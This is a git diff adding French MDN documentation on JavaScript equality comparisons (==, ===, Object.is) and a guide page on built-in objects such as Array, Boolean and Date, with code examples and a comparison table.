En résumé : l'opérateur d'égalité simple effectuera une conversion de type entre les objets comparés, l'opérateur d'égalité stricte n'effectuera pas de conversion avant de comparer les objets (false est renvoyé automatiquement si les types sont différents), enfin Object.is se comportera de la même façon que l'opérateur d'égalité stricte avec des règles supplémentaires pour les valeurs NaN, -0 et +0. Object.is(-0, +0) ne sera pas vérifié et Object.is(NaN, NaN) sera vrai. (Généralement, quand on compare NaN et NaN, on obtient le résultat false car la norme IEEE 754 indique que ce comportement est celui attendu pour l'égalité simple ou stricte.)

+

Cette égalité ne s'applique qu'aux types de données primitifs, aucune des méthodes présentées ci-avant ne permet de comparer la structure de deux objets. Si deux objets x et y possèdent la même structure mais que ce sont des objets distincts, chacune de ces méthodes renverra le résultat false.

+

Ainsi :

+
let x = { valeur: 17 };
+let y = { valeur: 17 };
+console.log(Object.is(x, y)); // false;
+console.log(x === y);         // false
+console.log(x == y);          // false
+

Les égalités simples, strictes et les valeurs identiques

+

Les comparaisons effectuées par les opérateurs d'égalité simple et d'égalité stricte sont décrites par EcmaScript5 : l'algorithme de l'opérateur == est décrit dans la section 11.9.3 (en anglais) et l'algorithme de l'opérateur === est décrit dans la section 11.9.6 (en anglais). Ces deux algorithmes sont expliqués de façon simple et concise, il est préferable de lire le deuxième algorithme avant le premier. ES5 décrit également l'algorithme utilisé en interne par le moteur JavaScript : section 9.12, The SameValue Algorithm (en anglais). Ce dernier algorithme est très proche de celui utilisé pour l'égalité stricte, ils différent de par leurs gestions différentes des nombres représentés sous forme d'objets Number. Object.is n'est que la retranscription de cet algorithme, utilisable depuis ES6.

+

Excepté pour la conversion implicite, on peut voir que, pour les opérateurs d'égalité simple et stricte, l'algorithme d'égalité stricte est un sous-ensemble de l'égalité simple car 11.9.6.2-7 correspond à 11.9.3.1.a-f.

+

Comprendre le sens des différentes égalités

+

Avant ES6, on pouvait penser que l'égalité stricte était une version « améliorée » de l'égalité simple, ou vice-versa. Par exemple, dans certains cas, on peut trouver que l'égalité simple est plus souple que l'égalité stricte car elle effectue une conversion des types (ce qui permet de vérifier 6 == "6"). Au contraire, on peut trouver que l'égalité stricte est « meilleure » que l'égalité simple car il est nécessaire que les deux opérandes soient du même type. L'utilité de chaque opérateur dépend du cadre dans lequel on l'utilise.

+

Object.is, en revanche, n'est pas plus souple ou plus stricte que ces égalités. Il n'est pas non plus un « intermédiaire » entre ces deux opérateurs. Object.is diffère dans sa façon de gérer la valeur numérique spéciale NaN. D'une certaine façon, Object.is se différencie en fonction de ses caractéristiques spéciales sur NaN et -0 et +0.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Opérateurs d'égalité
xy=====Object.is
undefinedundefinedtruetruetrue
nullnulltruetruetrue
truetruetruetruetrue
falsefalsetruetruetrue
"toto""toto"truetruetrue
{ toto: "truc" }xtruetruetrue
00truetruetrue
+0-0truetruefalse
0falsetruefalsefalse
""falsetruefalsefalse
""0truefalsefalse
"0"0truefalsefalse
"17"17truefalsefalse
new String("toto")"toto"truefalsefalse
nullundefinedtruefalsefalse
nullfalsefalsefalsefalse
undefinedfalsefalsefalsefalse
{ toto: "truc" }{ toto: "truc" }falsefalsefalse
new String("toto")new String("toto")falsefalsefalse
0nullfalsefalsefalse
0NaNfalsefalsefalse
"toto"NaNfalsefalsefalse
NaNNaNfalsefalsetrue
+

Dans quels cas utiliser Object.is ou l'opérateur d'égalité stricte

+

En dehors du traîtement effectué pour NaN, Object.is s'avère utile lorsqu'on manipule des valeurs très proches de 0 (parfois utilisées pour la métaprogrammation et notamment pour les descripteurs de propriétés et qu'on souhaite reproduire certaines caractéristiques de Object.defineProperty). Si on n'a pas ce cas de figure à gérer, il est conseillé d'utiliser ===. Même dans l'éventualité où on devrait gérer une comparaison entre deux valeurs NaN il est souvent plus facile de traiter le cas particulier en utilisant la fonction isNaN présente dans les anciennes versions d'ECMAScript.

+

Voici une liste (non exhaustive) des méthodes et opérateurs qui pourraient entraîner une apparition des valeurs -0 et +0 :

+
+
+ - (négation unaire)
+
+
+
+

Il peut sembler évident que l'opposé de 0 est -0 mais lorsque que cette opération est réalisée dans une expression, il est plus facile d'identifier la transformation qui s'est effectuée. Par exemple :

+ 
let forceFrottement = obj.masse * -obj.vitesse
+

Si obj.vitesse vaut 0, on aura -0 comme résultat du calcul, et c'est cette valeur qui sera assignée à forceFrottement

+
+
+
+
+ Math.atan2
+
+ Math.ceil
+
+ Math.pow
+
+ Math.round
+
+
+
+ La valeur -0 peut être produite par ces méthodes (et donc introduite dans une expression qui les comportent), même dans le cas où -0 n'est pas un argument. Par exemple, si on utilise Math.pow pour calculer -Infinity à une puissance entière impaire et négative, on obtiendra -0. Voir les différentes pages sur ces méthodes pour plus d'informations.
+
+
+
+ Math.floor
+
+ Math.max
+
+ Math.min
+
+ Math.sin
+
+ Math.sqrt
+
+ Math.tan
+
+
+
+ Ces méthodes peuvent produire la valeur -0 si c'est un des paramètres de la fonction. Par exemple, Math.min(-0, +0) vaudra -0. Voir les différentes pages sur ces méthodes pour plus d'informations.
+
+
+
+ ~
+
+ <<
+
+ >>
+
+ Chacun de ces opérateurs utilise l'algorithme ToInt32. Or, il n'y a qu'une seule représentation possible pour 0 sous forme d'un entier sur 32 bits, c'est pourquoi -0 ne pourra pas être « conservé » par une combinaison de ces opérations (même si cette combinaison est équivalente, logiquement, à une identité). Par exemple Object.is(~~(-0), -0) et Object.is(-0 << 2 >> 2, -0) produiront la valeur false.
+
+

Il peut être dangereux d'utiliser Object.is quand on ne souhaite pas différencier les deux valeurs -0 et +0. En revanche, si on souhaite distinguer ces deux valeurs, cette fonction est idéale.

diff --git a/files/fr/conflicting/web/javascript/guide/index.html b/files/fr/conflicting/web/javascript/guide/index.html new file mode 100644 index 0000000000..a251b58105 --- /dev/null +++ b/files/fr/conflicting/web/javascript/guide/index.html @@ -0,0 +1,899 @@ +--- +title: Objets élémentaires JavaScript +slug: Web/JavaScript/Guide/Objets_élémentaires_JavaScript +tags: + - Guide + - JavaScript + - Objets JavaScript +translation_of: Web/JavaScript/Guide +translation_of_original: Web/JavaScript/Guide/Predefined_Core_Objects +--- +

{{jsSidebar("JavaScript Guide")}}

+ +

Dans ce chapitre nous verrons les différents objets élémentaires qui existent en JavaScript : Array, Boolean, Date, Function, Math, Number, RegExp, et String.

+ +

Les tableaux : objet Array

+ +

JavaScript ne possède pas type primitif pour les tableaux. En revanche, il est possible d'utiliser l'objet natif Array ainsi que ses méthodes pour manipuler des tableaux. L'objet Array possède différentes méthodes pour manipuler les tableaux : fusion, inverse, tri... Il possède une propriété permettant de déterminer la longueur du tableau et d'autres propriétés qu'on peut utiliser avec les expressions rationnelles.

+ +

Un tableau est un ensemble ordonné de valeurs auxquelles on peut faire référence via un nom et un indice. Si par exemple on utilise un tableau reg qui contient un registre de noms indicés (autrement dit dont la position dans le tableau est déterminée) par un identifiant : on aurait reg[1] pour le premier nom, reg[2] pour le second et ainsi de suite/

+ +

Créer un tableau :

+ +

Les instructions suivantes permettent de créer des objets Array équivalents :

+ +
+
var arr = new Array(element0, element1, ..., elementN);
+var arr = Array(element0, element1, ..., elementN);
+var arr = [element0, element1, ..., elementN];
+
+
+ +

element0, element1, ..., elementN est la liste des valeurs des éléments du tableau. Quand ces valeurs sont fournies, les éléments du tableau sont initialisés avec ses valeurs. La propriété length vaudra alors le nombre d'arguments.

+ +

La dernière syntaxe, utilisant des crochets, est appelée « littéral de tableau » ou « initialisateur de tableau ». C'est la forme la plus courte pour créer un tableau et c'est cette forme qui est souvent préférée. Voir la page Littéraux de tableaux pour plus de détails.

+ +

Lorsqu'on souhaite créer un tableau de longueur non nulle mais qui ne contient aucun élément, les syntaxes suivantes peuvent être utilisées :

+ +
var arr = new Array(longueurTabl);
+var arr = Array(longueurTabl);
+
+// Ces instructions ont le même effet
+var arr = [];
+arr.length = longueurTabl;
+
+ +

Dans le code ci-dessus, longueurTabl doit être du type Number. Si ce n'est pas le cas, un tableau avec une seule valeur, celle fournie, longueurTabl, sera créé. Si on appelle arr.length, on aura bien longueurTabl, en revanche le tableau ne contiendra que des éléments vides (indéfinis). Si on utilise une boucle for...in sur le tableau, aucun des éléments du tableau ne sera renvoyé.

+ +

En plus de définir une nouvelle variable en lui assignant un tableau, on peut également assigner les tableaux à une propriété d'un nouvel objet ou d'un objet existant :

+ +
var obj = {};
+// ...
+obj.prop = [element0, element1, ..., elementN];
+
+// OU
+var obj = {prop: [element0, element1, ...., elementN]}
+
+ +

Si on souhaite initialiser un tableau avec un seul élément qui est un nombre, on doit utiliser la syntaxe avec crochets. En effet, si on utilise le constructeur Array() auquel on passe un seul argument numérique, celui-ci sera interprété comme longueurTabl, et non pas comme le seul élément du tableau.

+ +
var arr = [42];
+var arr = Array(42); // Crée un tableau sans élément mais de longueur 42
+
+// L'instruction ci-avant est équivalente à
+var arr = [];
+arr.length = 42;
+
+
+ +

Si on appelle le constructeur Array() avec un argument qui n'est pas un nombre entier (dont la partie décimale est non nulle), on obtiendra une erreur RangeError. Voici un exemple :

+ +
var arr = Array(9.3);  // RangeError: Invalid array length
+
+ +

Si on souhaite créer des tableaux d'un seul élément (peu importe le type), il est plus adapté d'utiliser des littéraux de tableaux ou de créer un tableau vide puis d'y ajouter la valeur.

+ +

Remplir un tableau

+ +

Il est possible de remplir un tableau en affectant des valeurs à ses différents éléments :

+ +
var reg = [];
+reg[0] = "Casey Jones";
+reg[1] = "Phil Lesh";
+reg[2] = "August West";
+
+ +

Note : Si on utilise les crochets et un nombre décimal non entier, une propriété sera créée pour l'objet mais cela ne créera pas un élément du tableau.

+ +
 var arr = [];
+arr[3.4] = "Oranges";
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+
+ +

On peut également remplir un tableau à la création :

+ +
var monTableau = new Array("Hello", maVar, 3.14159);
+var monTableau = ["Mangue", "Pomme", "Orange"]
+
+ +

Faire référence aux éléments d'un tableau

+ +

Il est possible de faire référence aux élément d'un tableau en utilisant leur indice dans ce tableau. Ainsi, si on définit le tableau suivant :

+ +
var monTableau = ["Vent", "Eau", "Feu"];
+
+ +

On peut faire référence au premier élément du tableau en utilisant monTableau[0] et au second élément en utilisant monTableau[1]. Les indices des éléments d'un tableau commencent à zéro.

+ +

Note : L'opérateur du tableau (les crochets) est aussi utilisé pour accéder aux propriétés du tableau (en effet les tableaux sont des objets en JavaScript, et on peut donc utiliser leurs propriétés). Par exemple :

+ +
 var tabl = ["un", "deux", "trois"];
+tabl[2];  // trois
+tabl["length"];  // 3
+
+ +

La propriété length

+ +

En termes d'implémentation, les éléments d'un tableau sont en fait stockés comme des propriétés de l'objet et l'indice de l'élément est le nom de la propriété. La propriété length est spéciale : elle renvoie toujours l'indice du dernier élément plus 1. Attention : les indices d'un tableau, en JavaScript, commencent à 0 et pas à 1.

+ +
var chats = [];
+chats[30] = ['Nyan'];
+print(chats.length); // 31
+
+ +

Il est également possible d'affecter une valeur à la propriété length. Si on lui assigne une valeur inférieure au nombre d'éléments du tableau : le tableau sera tronqué. Si on lui affecte la valeur 0, le tableau sera entièrement vidé.

+ +
var chats = ['Marie', 'Toulouse', 'Berlioz'];
+console.log(chats.length); // 3
+
+chats.length = 2;
+console.log(chats); // affiche "Marie,Toulouse" - Berlioz a été retiré
+
+chats.length = 0;
+console.log(chats); // Rien n'est affiché : tableau vide
+
+chats.length = 3;
+console.log(cats); // [undefined, undefined, undefined]
+
+ +

Effectuer des boucles sur des tableaux

+ +

On sera souvent amené à faire des boucles sur les valeurs d'un tableau pour répéter un traitement sur chacune d'elle. La façon la plus simple de faire des boucles est la suivante :

+ +
var couleurs = ['rouge', 'vert', 'bleu'];
+for (var i = 0; i < couleurs.length; i++) {
+  console.log(couleurs[i]);
+}
+
+ +

Si on est certain qu'aucun des éléments du tableau ne pourra être évalué à false. Si par exemple le tableau est constitué d'éléments du DOM, on peut utiliser la syntaxe suivante, plus efficace :

+ +
var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* Effectuer un traitement sur les div */
+}
+
+ +

En faisant cela, on évite de répéter le test qui consiste à vérifier la longueur du tableau et on s'assure que la variable div est réassignée à chaque passage dans la boucle.

+ +

La méthode forEach(), introduite avec JavaScript 1.6, permet de boucler sur un tableau d'une autre façon :

+ +
var couleurs = ['rouge', 'vert', 'bleu'];
+couleurs.forEach(function(couleur) {
+  console.log(couleur);
+});
+
+ +

La fonction, passée en argument de la méthode forEach est exécutée pour chaque élément du tableau (qui sera passé en argument de cette fonction). Les éléments du tableau non assignés ne sont pas traités.

+ +

Les éléments du tableau qui n'ont pas été définis lors de la création du tableau ne sont pas utilisés avec forEach, en revanche lorsque undefined a été explicitement assigné à un élément du tableau, il est pris en compte :

+ +
var array = ['premier', 'second', , 'quatrième'];
+
+// la boucle ci-dessous renvoie ['premier', 'second', 'quatrième'];
+array.forEach(function(element) {
+  console.log(element);
+})
+
+if(array[2] === undefined) { console.log('array[2] vaut undefined'); } // true
+
+var array = ['premier', 'second', undefined, 'quatrième'];
+
+//la boucle ci-dessous renvoie ['premier', 'second', undefined, 'quatrième'];
+array.forEach(function(element) {
+  console.log(element);
+})
+ +

Les éléments d'un tableau étant stockés comme des propriétés d'un tableau, il n'est pas conseillé d'utiliser de boucle for...in pour traiter les tableaux car on traitera les éléments du tableau ainsi que toutes les propriétés énumérables.

+ +

Méthodes de l'objet Array

+ +

L'objet Array possède les méthodes suivantes :

+ +
    +
  • concat() : fusionne deux tableaux et renvoie le résultat de cette fusion + + 
    var monTableau = new Array("1", "2", "3");
+monTableau = monTableau.concat("a", "b", "c"); // monTableau vaut maintenant ["1", "2", "3", "a", "b", "c"]
+
    +
    • +
  • join(délimiteur = ",") fusionne les éléments d'un tableau en une seule chaîne, en utilisant un délimiteur : + 
    var monTableau = new Array("Air", "Eau", "Feu");
+var liste = monTableauArray.join(" - "); // "Air - Eau - Feu"
+
    +
    • +
  • push() ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la longueur du tableau après cet ajout : + 
    var monTableau = new Array("1", "2");
+monTableau.push("3"); // monTableau vaut maintenant ["1", "2", "3"]
+
    +
    • +
  • pop() retire le dernier élément d'un tableau et renvoie cet élément : + 
    var monTableau = new Array("1", "2", "3");
+var dernier = monTableau.pop(); // monTableau vaut ["1", "2"] et dernier = "3"
+
    +
    • +
  • shift() retire le premier élément du tableau et renvoie cet élément : + 
    var monTableau = new Array ("1", "2", "3");
+var premier = monTableau.shift(); // monTableau vaut ["2", "3"], premier vaut "1"
+
    +
    • +
  • unshift() ajoute un ou plusieurs éléments en premier(s) élément(s) dans un tableau et renvoie la nouvelle longueur : + 
    var monTableau = new Array ("1", "2", "3");
+monTableau.unshift("4", "5"); // monTableau devient ["4", "5", "1", "2", "3"]
    +
    • +
  • slice(indice_debut, jusqu_indice) extrait une portion d'un tableau et renvoie un nouveau tableau : + 
    var monTableau = new Array ("a", "b", "c", "d", "e");
+monTableau = monTableau.slice(1, 4); /* commencer à 1 et jusqu'à l'indice 3, renvoyant
+ ainsi [ "b", "c", "d"] */
+
    +
    • +
  • splice(indice, nombre_a_enlever, ajout_element1, ajout_element2, ...) retire des éléments d'un tableau et les remplace si des valeurs sont fournies : + 
    var monTableau = new Array ("1", "2", "3", "4", "5");
+monTableau.splice(1, 3, "a", "b", "c", "d"); // monTableau vaut ["1", "a", "b", "c", "d", "5"]
+  // ce code commence à l'indice 1 (où il y a la valeur "2"), retire 3 éléments
+  // puis insère les éléments fournis à partir de cet indice
+
    +
    • +
  • reverse() transpose les éléments d'un tableau : le premier élément du tableau et le dernier devient le premier : + 
    var monTableau = new Array ("1", "2", "3");
+monTableau.reverse(); // transpose le tableau qui devient [ "3", "2", "1" ]
+
    +
    • +
  • sort() trie les éléments d'un tableau : + 
    var monTableau = new Array("Air", "Eau", "Feu");
+monTableau.sort(); // trie le tableau qui devient [ "Air", "Eau", "Feu" ]
+
    + +

    sort() peut également prendre en argument une fonction de rappel (callback en anglais) qui détermine la relation d'ordre selon laquelle les éléments sont comparés. Cette fonction compare deux valeurs et renvoie l'une de ces trois valeurs :

    + +
      +
    • Si a est inférieur à b selon la relation d'ordre : -1 (ou tout autre nombre négatif)
      • +
    • Si a est supérieur à b selon la relation d'ordre : 1 (ou tout autre nombre positif)
      • +
    • Si a et b sont égaux selon la relation d'ordre : 0.
      • +
    + +

    Par exemple, on peut utiliser la fonction ci-après pour trier selon la dernière lettre d'un tableau :

    + + 
    var triFn = function(a, b){
+  if (a[a.length - 1] < b[b.length - 1]) return -1;
+  if (a[a.length - 1] > b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+monTableau.sort(triFn); // tri le tableau qui deviendra
+//monTableau = ["Air","Eau","Feu"]
    +
    • +
+ +

Du code compatible avec les anciens navigateurs, pour remplacer ces fonctions, est disponible sur les pages qui concernent ces fonctions. Le support des navigateurs pour ces fonctions est détaillé ici (en anglais).

+ +
    +
  • indexOf(élémentCherché[, indiceDebut]) permet de chercher dans le tableau l'élément élémentCherché et renvoie le premier indice où l'élément est trouvé. + + 
    var a = ['a', 'b', 'a', 'b', 'a'];
+alert(a.indexOf('b')); // Affiche 1
+// Ensuite, on cherche après la première correspondance
+alert(a.indexOf('b', 2)); // Affiche 3
+alert(a.indexOf('z')); // Affiche -1 car 'z' n'a pas été trouvé
+
    +
    • +
  • lastIndexOf(élémentCherché[, indiceDebut]) fonctionne comme indexOf, mais cherche à partir de la fin du tableau. + 
    var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+alert(a.lastIndexOf('b')); // Affiche 5
+// Ensuite on cherche avant la dernière correspondance
+alert(a.lastIndexOf('b', 4)); // Affiche 1
+alert(a.lastIndexOf('z')); // Affiche -1
+
    +
    • +
  • forEach(callback[, thisObject])exécute la fonction callback sur chaque élément du tableau. + 
    var a = ['a', 'b', 'c'];
+a.forEach(alert); // Affiche chaque élément
+
    +
    • +
  • map(callback[, thisObject]) renvoie un nouveau tableau composé des résultats de l'application de la fonction callback sur chaque élément du tableau initial + 
    var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+alert(a2); // affiche A,B,C
+
    +
    • +
  • filter(callback[, thisObject]) renvoie un nouveau tableau composé des éléments du tableau initial pour lesquels la fonction callback a renvoyé true. + 
    var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+alert(a2); // affiche 10,20,30
+
    +
    • +
  • every(callback[, thisObject]) renvoie true si la fonction callback renvoie true pour chaque élément du tableau + 
    function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+alert(a1.every(isNumber)); // Affiche true
+var a2 = [1, '2', 3];
+alert(a2.every(isNumber)); // Affiche false
+
    +
    • +
  • some(callback[, thisObject]) renvoie true si la fonction callback renvoie true pour au moins un élément du tableau + 
    function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+alert(a1.some(isNumber)); // Affiche true
+var a2 = [1, '2', 3];
+alert(a2.some(isNumber)); // Affiche true
+var a3 = ['1', '2', '3'];
+alert(a3.some(isNumber)); // Affiche false
+
    +
    • +
+ +

Les méthodes ci-dessus utilisent des fonctions de rappel (callback) et sont appelées méthodes itératives. En effet, d'une certaine façon, elles bouclent sur le tableau. Chacune de ces méthodes possède un argument facultatif thisObject. Si cet argument est utilisé, il représentera le contexte utilisé pour le mot-clé this utilisé dans la fonction de rappel. S'il n'est pas utilisé et que la fonction est appelée en dehors d'un contexte objet donné this fera référence à l'objet global (window). Pour plus d'informations, voir la page sur this.

+ +

En réalité, la fonction de rappel est utilisé avec trois arguments. Le premier est la valeur de l'élément, le deuxième est l'indice de l'élément et le troisième est la référence au tableau. Étant donné que JavaScript ignore les arguments en trop pour une fonction, on peut très bien appeler une fonction qui ne prend qu'un seul paramètre (comme alert par exemple).

+ +
    +
  • reduce(callback[, initialValue]) applique la fonction callback(valeur1, valeur2) afin de réduire le tableau à une seule valeur. + + 
    var a = [10, 20, 30];
+var total = a.reduce(function(premier, second) { return first + second; }, 0);
+alert(total) // Affiche 60
+
    +
    • +
  • reduceRight(callback[, initialValue]) fonctionne comme reduce() mais en partant du dernier élément.
    • +
+ +

reduce et reduceRight sont des méthodes itératives plus compliquées. Ces méthodes sont à utiliser pour des algorithmes récursifs pour réduire une séquence d'objet en une seule valeur.

+ +

Tableaux à plusieurs dimensions

+ +

Les tableaux peuvent être imbriqués, cela signifie qu'un tableau peut contenir un autre tableau comme élément. De cette façon, on peut créer des tableaux à plusieurs dimensions.

+ +

Voici par exemple la création d'un tableau de dimension 2.

+ +
var a = new Array(4);
+for (i = 0; i < 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j < 4; j++) {
+    a[i][j] = "[" + i + "," + j + "]";
+  }
+}
+
+ +

Le code précédent permettra de créer un tableau avec ces lignes :

+ +
Ligne 0: [0,0] [0,1] [0,2] [0,3]
+Ligne 1: [1,0] [1,1] [1,2] [1,3]
+Ligne 2: [2,0] [2,1] [2,2] [2,3]
+Ligne 3: [3,0] [3,1] [3,2] [3,3]
+
+ +

Tableaux et expressions rationnelles

+ +

Lorsqu'un tableau provient d'une correspondance entre une expression rationnelle et une chaîne de caractères, le tableau possède des propriétés et des éléments fournissant des informations sur la correspondance. Un tel tableau peut être renvoyé par RegExp.exec(), String.match(), et String.split(). Pour plus d'informations sur l'utilisation des tableaux et des expressions rationnelles, voir la page Expressions rationnelles.

+ +

Manipuler des objets semblables aux tableaux

+ +

Certains objets JavaScript, comme NodeList (renvoyé par la méthode document.getElementsByTagName()) ou arguments (disponible au sein d'une fonction) ressemblent à des tableaux et peuvent se comporter comme tels, en revanche ils ne possèdent pas toutes les propriétés d'un objet de type Array. Par exemple, l'objet arguments possède un attribut length mais ne possède pas la méthode forEach().

+ +

Les méthodes génériques, disponibles à partir de JavaScript 1.6, permettent d'utiliser des méthodes de l'objet Array sur des objets semblables à des tableaux. Chaque méthode standard possède un équivalent disponible via l'objet Array lui-même. Ainsi :

+ +
 function alertArguments() {
+   Array.forEach(arguments, function(item) {
+     alert(item);
+   });
+ }
+
+ +

Dans les versions plus anciennes, il est possible d'émuler ces méthodes génériques en utilisant la méthode call fournie par les fonctions :

+ +
 Array.prototype.forEach.call(arguments, function(item) {
+   alert(item);
+ });
+
+ +

Ces méthodes génériques peuvent également être utilisées sur les chaînes de caractères. En effet, elles fournissent un accès séquentiel aux différents caractères, comme pour les différents éléments d'un tableau :

+ +
Array.forEach("une chaine", function(caractere) {
+   alert(caractere);
+});
+ +

Voici d'autres exemples utilisant ces méthodes sur des chaînes de caractères. Ces exemples utilisent également les fermetures d'expressions de JavaScript 1.8 :

+ +
var str = 'abcdef';
+var filtreConsonnes = Array.filter(str, function (c) !(/[aeiou]/i).test(c)).join(''); // 'bcdf'
+var voyellesPrésentes = Array.some(str, function (c) (/[aeiou]/i).test(c)); // true
+var toutesVoyelles = Array.every(str, function (c) (/[aeiou]/i).test(c)); // false
+var intercaleZéros = Array.map(str, function (c) c+'0').join(''); // 'a0b0c0d0e0f0'
+var valeurNumérique = Array.reduce(str, function (c, c2) c+c2.toLowerCase().charCodeAt()-96, 0);
+// 21 (reduce() since JS v1.8)
+
+ +

Les méthodes filter et map ne renvoient pas directement les caractères comme faisant partie d'une même chaîne de caractères mais le résultat de l'opération sur chacun des caractères, il est donc nécessaire d'utiliser join pour obtenir une chaîne de caractères finale.

+ +

Tableaux définis par compréhensions

+ +

À partir de JavaScript 1.7, les définitions de tableaux par compréhension permettent de construire, simplement, un tableau se basant sur le contenu d'un premier tableau. Ces compréhensions sont souvent utilisées en lieu et place des méthodes map() et filter().

+ +

Dans l'exemple suivant, on définit un tableau par compréhension pour qu'il contienne les doubles des éléments du premier tableau :

+ +
var nombres = [1, 2, 3, 4];
+var doubles = [i * 2 for (i of nombres)];
+alert(doubles); // Affiche 2,4,6,8
+
+ +

Cela est équivalent à l'opération map() qui suit :

+ +
var doubles = nombres.map(function(i){return i * 2;});
+
+ +

Les compréhensions peuvent également être utilisées afin de restreindre un tableau à certaines valeurs correspondants à un critère. On peut par exemple ne garder que les nombres pairs :

+ +
var nombres = [1, 2, 3, 21, 22, 30];
+var pairs = [i for (i of nombres) if (i % 2 === 0)];
+alert(pairs); // Affiche 2,22,30
+
+ +

filter() aurait également pu être utilisé :

+ +
var pairs = nombres.filter(function(i){return i % 2 === 0;});
+
+ +

Les opérations du style de map() et filter() peuvent être combinées en une seule compréhension. Voici par exmple un tableau défini par compréhension qui contient les doubles des nombres pairs du premier tableau :

+ +
var nombres = [1, 2, 3, 21, 22, 30];
+var pairsDoubles = [i * 2 for (i of nombres) if (i % 2 === 0)];
+alert(pairsDoubles); // Affiche 4,44,60
+
+ +

Les crochets utilisés pour les définitions par compréhension permettent d'introduire une portée implicite. Les nouvelles variables (comme i dans l'exemple) sont utilisées comme si elles avaient été déclarées avec let. Elles ne seront donc pas disponibles en dehors de la compréhension.

+ +

Il n'est pas nécessaire de partir d'un tableau pour utiliser une telle définition, on peut également utiliser les itérateurs et les générateurs.

+ +

On peut également utiliser des chaînes de caractères comme objet de départ :

+ +
var str = 'abcdef';
+var filtreConsonnes = [c for (c of str) if (!(/[aeiouAEIOU]/).test(c))  ].join(''); // 'bcdf'
+var intercaleZéros = [c+'0' for (c of str) ].join(''); // 'a0b0c0d0e0f0'
+
+ +

Ici aussi, il faut utiliser la méthode join() pour obtenir une chaîne de caractère unique en sortie.

+ +

L'objet Boolean

+ +

L'objet Boolean est une « enveloppe » (ou wrapper en anglais) autour du type primitif booléen. La syntaxe suivante permet de créer un objet Boolean :

+ +
var nomObjetBooléen = new Boolean(valeur);
+
+ +

Attention, il ne faut pas confondre les valeurs true et false du type primitif booléen et les valeurs true et false de l'objet Boolean. Tout objet dont la valeur n'est pas undefined , null, 0, NaN, ou la chaîne de caractères vide (y compris un objet Boolean dont la valeur est false) sera évalué comme true dans un test conditionnel. Voir l'instruction if...else pour plus d'informations.

+ +

Objet Date

+ +

JavaScript ne possède pas de type de données pour gérer les dates. En revanche, il est possible d'utiliser un objet Date, ainsi que ses méthodes, pour manipuler de telles données. L'objet Date possède différentes méthodes pour définir des dates, obtenir des informations sur une dates et les manipuler, il ne possède aucune propriété.

+ +

La gestion des dates en JavaScript est similaire à celle effectuée par Java. Les deux languages partagent de nombreuses méthodes et ils stockent tous les deux les dates comme le nombre de millisecondes depuis le premier janvier 1970 à 00h00m00 UTC.

+ +

L'intervalle qu'on peut utiliser avec l'objet Date est entre100 000 000 jours avant le premier janvier 1970 UTC et 100 000 000 jours après.

+ +

Pour créer un tel objet :

+ +
var nomObjetDate = new Date([paramètres]);
+
+ +

nomObjetDate est le nom de l'objet qu'on crée. Il peut être un nouvel objet à part entière ou bien la propriété d'un objet existant.

+ +

Si on utilise le constructeur Date sans le mot-clé new, on obtiendra seulement la date représentée dans une chaîne de caractères.

+ +

On peut utiliser les paramètres suivants :

+ +
    +
  • Aucun : on crée la date et l'heure du jour : aujourdhui = new Date();.
    • +
  • Une chaîne de caractères qui représente la date au format suivant "Mois_en_anglais jour, année heures:minutes:secondes." Ainsi var Noel95 = new Date("December 25, 1995 13:30:00"). Il est possible de ne pas renseigner les heures, minutes et secondes : les valeurs par défaut seront nulles (0).
    • +
  • Un ensemble d'entiers pour l'année, le mois et le jour : var Noel95 = new Date(1995, 11, 25).
    • +
  • Un ensemble d'entiers pour l'année, le mois, le jour, l'heure, les minutes et les secondes : var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);.
    • +
+ +

Versions antérieures à JavaScript 1.2 (inclus)
+ L'objet Date fonctionne de la façon suivante :

+ +
    +
  • Les dates antérieures à 1970 ne sont pas autorisées.
    • +
  • JavaScript se repose sur des utilitaires de gestion des dates qui dépendent de la plate-forme utilisée : on obtient donc des comportements et des résultats différents en fonction de la plate-forme sur laquelle on se situe.
    • +
+ +

Les méthodes de l'objet Date

+ +

Les méthodes de l'objet Date sont à répartir entre quatre grandes catégories :

+ +
    +
  • Les méthodes de définition set..., permettant de régler le jour et l'heure dans les objets Date
    • +
  • Les méthodes d'accès get..., permettant d'obtenir les valeurs de la date et de l'heure des objets Date
    • +
  • Les méthodes de conversion to..., qui permettent d'obtenir une mise en forme en chaîne de caractères
    • +
  • Les méthodes d'analyse (parsing) et les méthodes UTC, permettant de transformer certaines chaînes de caractères en Date.
    • +
+ +

Les deux premières catégories permettent de définir ou d'obtenir les secondes, les minutes, les heures, le jour du mois, le jour de la semaine, les mois et les années. Il existe une méthode getDay pour obtenir le jour de la semaine, en revanche, il n'existe pas de méthode setDay car le calcul du jour de la semaine se fait automatiquement. Ces méthodes utilisent des entiers, de la façon suivante :

+ +
    +
  • Les secondes et minutes : 0 à 59
    • +
  • Les heures : 0 à 23
    • +
  • Les jours : 0 (Dimanche) à 6 (Samedi)
    • +
  • La date : 1 to 31 (jour du mois)
    • +
  • Les mois : 0 (janvier) à 11 (décembre)
    • +
  • Les années : années depuis 1900
    • +
+ +

Par exemple, si on veut définir la date suivante :

+ +
var Noel95 = new Date("December 25, 1995");
+
+ +

On aura alors Noel95.getMonth() qui renverra 11, Noel95.getFullYear() qui renverra 1995.

+ +

Les méthodes getTime et setTime peuvent notamment être utilisées pour comparer des dates. La méthode getTime renvoie le nombre de millisecondes écoulées depuis le premier janvier 1970 00h00m00s pour un objet Date.

+ +

